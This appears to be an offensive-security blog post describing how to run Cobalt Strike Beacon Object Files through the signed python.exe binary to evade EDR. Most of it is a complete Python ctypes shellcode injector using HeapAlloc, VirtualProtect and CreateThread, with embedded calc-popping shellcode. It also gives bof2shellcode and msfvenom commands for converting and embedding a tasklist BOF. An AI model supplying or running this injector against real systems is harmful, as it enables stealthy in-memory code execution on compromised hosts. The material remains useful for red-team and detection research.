TL;DR
Python might be used to run Cobalt Strike’s BOFs by using previous work from Trustedsec and FalconForce, one can pick a BOF and use BOF2Shellcode to embed the shellcode in a python injector. This brings some post-ex capabilities that could be added to existing frameworks or deployed from a gained foothold making use of a signed binary (python.exe) as a host process for running BOFs using local shellcode injection - PoC on my github.
Intro
Python got great popularity as a C2 language in recent years and the offsec community brought many great projects like TrevorC2, WEASEL, pupy, etc. However, its popularity as a Windows-agent-language never really took off, mainly because of some significant limitations such as:
- Final .exe size made huge because of Python interpreter dependencies to be included;
- Ease of getting source code from Python artifacts;
- Complexity of creating shellcode that executes python code.
This drawbacks stem from the fact that Python is an interpreted language, so you basically have to bring the python interpreter and its dependencies with you, wether you’re creating a stage(r) shellcode or an .exe to deliver. However, I would encompass these 3 big limitations under the “Getting Access” phase of an engagement since python will be basically ruled out if you’re trying to phish or exploit some vulnerability that requires stable and tiny shellcode.
But still, to me Python has so much yet to give during the “Post Exploitation” phase, because, well…“in the EDR era signed binaries are kings”, and it’s worth reminding that the official Python binary is signed indeed. It’s also worth mentioning that in enterprise environments devs do crazy stuff so Python is pretty common almost everywhere. Using python would be a viable way to blend-in on some machines, if we only had modern capabilities to leverage.
This thought has been placed in the backseats of my mind for quite some time, until I saw some recent brilliant projects that opened up some new avenues.
PoC || GTFO
Earlier in 2021 Kevin Haubris from Trustedsec published a cool project called COFFloader, that basically lets you load and run Cobal Strikes Beacon Object Files (BOFs) outside of Cobalt Strike itself. Some weeks ago Gijs Hollestelle from Falconforce published BOF2Shellcode which essentially converts BOFs to raw shellcode and combines it with COFFLoader (converted too) in a way so that BOFs can be loaded by the same resulting shellcode.
Reading the FalconForce post (I highly encourage to do it also since Gijs described the whole process to get things working) I understood that one could simply run BOFs also with python by using the shellcode generated by BOF2Shellcode and the help of an injector.
Let’s try this out. As an injector I opted for the local shellcode technique using HeapAlloc
technique, to which I added a VirtualProtect
to set execute-only permissions since this might be useful for evasion and shenanigans.
Bear in mind that by using execute-only permissions you’re out in the cold if using self decoding shellcodes or more complex ones.
This only works if the shellcode itself does not need WR permissions, and this might be the case with some BOFs.
Here’s the python injector I used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
"""
Author: @naksyn
BOF runner using Local shellcode injection with HeapAlloc()
/CreateThread() and setting execute-only permissions with
VirtualAlloc().
Warning - stagers and shellcodes with self-decoding stubs
might not work, change permissions accordingly or remove
VirtualProtect call by keeping RWX.
"""
from ctypes import *
from ctypes.wintypes import *
# Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)- Author Bobby Cooke @0xBoku - https://www.exploit-db.com/exploits/49819
calc = b"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
calc += b"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
calc += b"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
calc += b"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
calc += b"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
calc += b"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
calc += b"\x48\x83\xec\x20\x41\xff\xd6"
shellcode=calc
kernel32 = ctypes.windll.kernel32
isx64 = sizeof(c_void_p) == sizeof(c_ulonglong)
_kernel32 = WinDLL('kernel32')
HEAP_ZERO_MEMORY = 0x00000008
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
PAGE_READ_EXECUTE = 0x20
PAGE_EXECUTE= 0x10
ULONG_PTR = c_ulonglong if isx64 else DWORD
SIZE_T = ULONG_PTR
# Functions Prototypes
VirtualProtect = _kernel32.VirtualProtect
VirtualProtect.restype = BOOL
VirtualProtect.argtypes = [ LPVOID, SIZE_T, DWORD, PDWORD ]
# HeapAlloc()
HeapAlloc = _kernel32.HeapAlloc
HeapAlloc.restype = LPVOID
HeapAlloc.argtypes = [ HANDLE, DWORD, SIZE_T ]
# HeapCreate()
HeapCreate = _kernel32.HeapCreate
HeapCreate.argtypes = [DWORD, SIZE_T, SIZE_T]
HeapCreate.restype = HANDLE
# RtlMoveMemory()
RtlMoveMemory = _kernel32.RtlMoveMemory
RtlMoveMemory.argtypes = [LPVOID, LPVOID, SIZE_T ]
RtlMoveMemory.restype = LPVOID
# CreateThread()
CreateThread = _kernel32.CreateThread
CreateThread.argtypes = [ LPVOID, SIZE_T, LPVOID, LPVOID, DWORD, LPVOID ]
CreateThread.restype = HANDLE
# WaitForSingleObject()
WaitForSingleObject = _kernel32.WaitForSingleObject
WaitForSingleObject.argtypes = [HANDLE, DWORD]
WaitForSingleObject.restype = DWORD
heapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, len(shellcode), 0)
HeapAlloc(heapHandle, HEAP_ZERO_MEMORY, len(shellcode))
print('[+] Heap allocated at: {:08X}'.format(heapHandle))
RtlMoveMemory(heapHandle, shellcode, len(shellcode))
print('[+] Shellcode copied into memory.')
VirtualProtect(heapHandle, len(shellcode), PAGE_EXECUTE , ctypes.c_ulong(0))
print('[+] Set RX permissions on memory')
threadHandle = CreateThread(0, 0, heapHandle, 0, 0, 0)
print('[+] Executed Thread in current process.')
WaitForSingleObject(threadHandle, 0xFFFFFFFF)
At this point one would just need to grab the shellcode from Bof2Shellcode using a BOF of our choice, so I opted for Trustedsec’s Tasklist and used bof2shellcode to generate the resulting shellcode, including the COFFLoader:
1
python3 bof2shellcode.py -i /home/naksyn/bofs/tasklist.x64.o -o tasklist.x64.bin
I then used msfvenom to make tasklist.x64.bin trivially embeddable in a python script:
1
msfvenom -p generic/custom PAYLOADFILE=tasklist.x64.bin -f python > sc_tasklist.txt
So after pasting the shellcode into the python injector script let’s see the tasklist BOF coughed out by Python:
⠀
Outro
I’ve always been amazed by crowdsourced capabilities and their integration into toolsets. Some time ago Joe Vest kickstarted a Community Kit, a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike. These extensions are written by some of the smartest people in the industry and being able to leverage them into other C2s it’s undoubtedly a “must have” feature. Indeed, few days ago Moloch Added support for extensions/BOFs for the Sliver framework written in Go. The same capability could be leveraged with some effort on every C2 with Python-based agents and this post described one way to do it.